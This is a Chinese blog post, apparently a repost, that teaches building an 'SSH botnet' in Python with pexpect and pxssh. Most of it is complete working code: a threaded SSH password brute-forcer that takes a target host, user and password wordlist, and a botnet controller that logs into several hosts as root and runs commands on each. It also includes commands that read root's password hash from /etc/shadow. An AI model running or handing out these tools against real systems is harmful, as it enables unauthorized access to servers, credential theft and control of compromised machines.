博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Python构建SSH僵尸网络
阅读量:4312 次
发布时间:2019-06-06

本文共 7358 字,大约阅读时间需要 24 分钟。

要构建SSH僵尸网络,先从SSH自动登陆脚本开始写起。

其中要用到 pexpect 模块

先看一下代码:

1 ssh_newkey = 'Are you sure you want to continue connecting' 2 child = pexpect.spawn('ssh root@localhost')  #一看就懂,执行命令 3 ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) #根本不懂啥意思……………… 4 if ret == 0: 5     print '[-] Error Connecting' 6     return 7 if ret == 1: 8     child.sendline('yes')  #很明显是发送命令 9     ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])10 if ret == 0:11     print '[-] Error Connecting'12     return13 child.sendline(password)14 child.expect(['# ', '>>>', '>', '\$ '])15 child.sendline('cat /etc/shadow | grep root')16 child.expect(['# ', '>>>', '>', '\$ '])17 print child.before

自己实验一下代码,看看输入结果:

直接看到打印输出为'2',再来看一下官方文档:

 

  expect()方法等待子应用程序返回给定的字符串。 您指定的字符串是正则表达式,因此您可以匹配复杂的模式。

 

可以看到时用来匹配字符串的,那么返回'2',就应该时匹配到了'password'字段。

接下来执行 child.sendline(password),很明显时发送密码字段,进行登陆。

然后执行   child.expect(['# ', '>>>', '>', '\$ ']),不明白为什么要匹配,还要匹配两次

再看一下官方文档

 

每次调用expect()之后的前后属性将被设置为由子应用程序打印的文本。 before属性将包含所有预期字符串模式的文本。

 

看完之后也没懂啥意思,自己试验一下:

发送密码之后直接打印为 'root@localhost's'

可以看到,如果不执行 expect 匹配字符串,child.before 的内容不会更新,所以每次执行完需要重新匹配一次,这样就成功打印出我们想要的信息。

搞懂了代码,现在可以写一个完整的SSH自动登陆脚本:

1 import pexpect 2  3 PROMPT = ['# ', '>>> ', '> ', '\$ '] 4  5  6 def send_command(child, cmd): 7  8     child.sendline(cmd) 9     child.expect(PROMPT)10     print child.before  #打印执行的命令和结果11 12 13 def connect(user, host, password):14 15     ssh_newkey = 'Are you sure you want to continue connecting'16     connStr = 'ssh ' + user + '@' + host17     child = pexpect.spawn(connStr)  #执行命令18     ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) #pexpect.TIMEOUT为连接超时时间19     if ret == 0:20         print '[-] Error Connecting'  #ret为0则匹配第一个字符串,为连接超时21         return22     if ret == 1:23         child.sendline('yes')  #匹配第二个字符串,则要输入'yes'24         ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])  #发送命令之后,再次进行字符串匹配,否则结果不会更新25     if ret == 0:26         print '[-] Error Connecting'27         return28     child.sendline(password)29     child.expect(PROMPT)30     return child31 32 33 def main():34 35     host = 'localhost'36     user = 'root'37     password = 'xxx'38     child = connect(user, host, password)39     send_command(child, 'cat /etc/shadow | grep root')40 41 if __name__ == '__main__':42     43     main()

 

 接下来要用一个更加方便的库 pxssh,来进行SSH的暴力破解,用pxssh实现上面代码会更加简单

1 from pexpect import pxssh 2  3 def send_command(s, cmd): 4  5     s.sendline(cmd) 6     s.prompt() #和expect方法一样,匹配提示符,匹配到就返回Ture,匹配不到或超时返回False 7     print s.before 8  9 10 def connect(host, user, password):11 12     try:13         s = pxssh.pxssh()14         s.login(host, user, password)15         return s16     except:17         print '[-] Error Connecting'18         exit(0)19 s = connect('127.0.0.1', 'root', 'xxxx')20 send_command(s, 'cat /etc/shadow | grep root')

具体解释可参考:http://pexpect.sourceforge.net/pxssh.html#pxssh-prompt

 接下来实现暴力破解功能,会使用到一个较高级的加锁机制:

Semaphores

信号量是一个更高级的锁机制。信号量内部有一个计数器而不像锁对象内部有锁标识,而且只有当占用信号量的线程数超过信号量时线程才阻塞。这允许了多个线程可以同时访问相同的代码区。

semaphore = threading.BoundedSemaphore()semaphore.acquire() #: counter减小

... 访问共享资源

semaphore.release() #: counter增大

当信号量被获取的时候,计数器减小;当信号量被释放的时候,计数器增大。当获取信号量的时候,如果计数器值为0,则该进程将阻塞。当某一信号量被释放,counter值增加为1时,被阻塞的线程(如果有的话)中会有一个得以继续运行。

信号量通常被用来限制对容量有限的资源的访问,比如一个网络连接或者数据库服务器。在这类场景中,只需要将计数器初始化为最大值,信号量的实现将为你完成剩下的事情。

max_connections = 10semaphore = threading.BoundedSemaphore(max_connections)

 

 理解这个机制之后,进行代码的编写

 如果login()函数执行成功,并且没有抛出异常,我们将打印一个消息,表明密码已被找到,并把表示密码已被找到的全局布尔值设为true。否则,我们将捕获该异常。如果异常显示密码被拒绝,我们知道这个密码是不对的,让函数返回即可。但是,如果异常显示socket为"read_nonblocking",可能是SSH服务器被大量连接刷爆了,可以稍等片刻后用相同密码再试一次。此外,如果该异常显示pxssh命令提示符提取困难,也应该等一会,然后让它再试一次。请注意,在connect()函数的参数里有一个布尔量release。由于connect()可以递归地调用另一个connect(),我们必须让只有不是由connect()递归调用的connect()函数才能够释放connection_lock信号。

1 #-*- coding=utf-8 -*- 2 from pexpect import pxssh 3 import optparse 4 import time 5 from threading import * 6  7  8 maxConnections = 5 9 connection_lock = BoundedSemaphore(value=maxConnections)10 Found = False11 Fails = 012 13 14 def connect(host, user, password, release):15 16     global Found17     global Fails18     try:19         s = pxssh.pxssh()20         s.login(host, user, password)21         print '[+] Password Found:' + password22         Found = True23     except Exception, e:24         if 'read_nonblocking' in str(e):25             Fails += 126             time.sleep(5)27             connect(host, user, password, False)28         elif 'synchronize with original prompt' in str(e):29             time.sleep(1)30             connect(host, user, password, False)31     finally:32         if release:33             connection_lock.release() #释放锁,信号量会增大34 35 36 def main():37 38     parser = optparse.OptionParser('usage%prog '+ '-H 
-u
-F
') #编写命令行参数39 parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')40 parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')41 parser.add_option('-u', dest='user', type='string', help='specify the user')42 (options, args) = parser.parse_args() #解析参数43 host = options.tgtHost44 passwdFile = options.passwdFile45 user = options.user46 if host == None or passwdFile == None or user == None:47 print parser.usage48 exit(0)49 fn = open(passwdFile, 'r')50 for line in fn.readlines():51 user = options.user52 if Found:53 print "[*] Exiting: Password Found"54 exit(0)55 if Fails > 5:56 print "[!] Exiting: Too Many Socket Timeouts"57 exit(0)58 connection_lock.acquire() # 加锁,信号量会减小59 password = line.strip('\r').strip('\n')60 print "[-] Testing: "+str(password)61 t = Thread(target=connect, args=(host, user, password, True))62 child = t.start()63 64 65 if __name__ == '__main__':66 67 main()

写完测试一下:

成功爆破出密码,但在windows下执行会报错……

查看一下,pexpect目录下的确没有spawn,但是linux系统下也是一样的,不明白为什么……

其实爆破SSH一直都是用Hydra的,写这个完全是为了学习python

能够爆破之后,接下来就是批量登陆并执行命令:

1 #-*- coding=utf-8 -*- 2 import optparse 3 from pexpect import pxssh 4  5  6 class Client: 7  8     def __init__(self, host, user, password): 9         self.host = host10         self.user = user11         self.password = password12         self.session = self.connect()13 14     def connect(self):15 16         try:17             s = pxssh.pxssh()18             s.login(self.host, self.user, self.password)19             return s20         except Exception, e:21             print e22             print '[-] Error Connecting'23 24     def send_command(self, cmd):25 26         self.session.sendline(cmd)27         self.session.prompt()28         return self.session.before29 30 def botnetCommand(command):31 32     for client in botNet:33         output = client.send_command(command)34         print '[*] Output from '+ client.host35         print '[+] ' + output + '\n'36 37 def addClient(host, user, password):38 39     client = Client(host, user, password)40     botNet.append(client)41 42 botNet = []43 addClient('10.10.10.110', 'root', 'toor')  #这里可以把已爆破出的用户名密码做一个循环读出来,就是真正的批量登陆了44 addClient('10.10.10.120', 'root', 'toor')45 addClient('10.10.10.130', 'root', 'toor')46 botnetCommand('uname -v')47 botnetCommand('cat /etc/issue')

 看一下结果:

结合以上两个脚本就可以构建SSH僵尸网络了。

转载于:https://www.cnblogs.com/ZhangYK/p/6561131.html

你可能感兴趣的文章
bing智能提示搜索框实现
查看>>
12月月计划与周计划
查看>>
分享Java开发的利器-Lombok
查看>>
实战中总结出来的CSS常见问题及解决办法
查看>>
01-Stanford-Overview of iOS & MVC 摘要及笔记
查看>>
11.5
查看>>
JAVA类加载器一 父类委托机制
查看>>
__new__和__init__的区别
查看>>
promise
查看>>
C++11并发——多线程lock_gurad ,unique_lock (三)
查看>>
VS2010/MFC编程入门之四十五(MFC常用类:CFile文件操作类)
查看>>
About me
查看>>
gdbserver 移植与多线程调试
查看>>
乘法表
查看>>
非专业码农 JAVA学习笔记 用户图形界面设计与实现-所有控件的监听事件
查看>>
获取用户ip接口
查看>>
Django部署
查看>>
我与小娜(02):乘坐超速高铁,穿越时空60年
查看>>
H5取经之路——添加hover实现特定效果
查看>>
ultraiso:usb-hdd+ v2
查看>>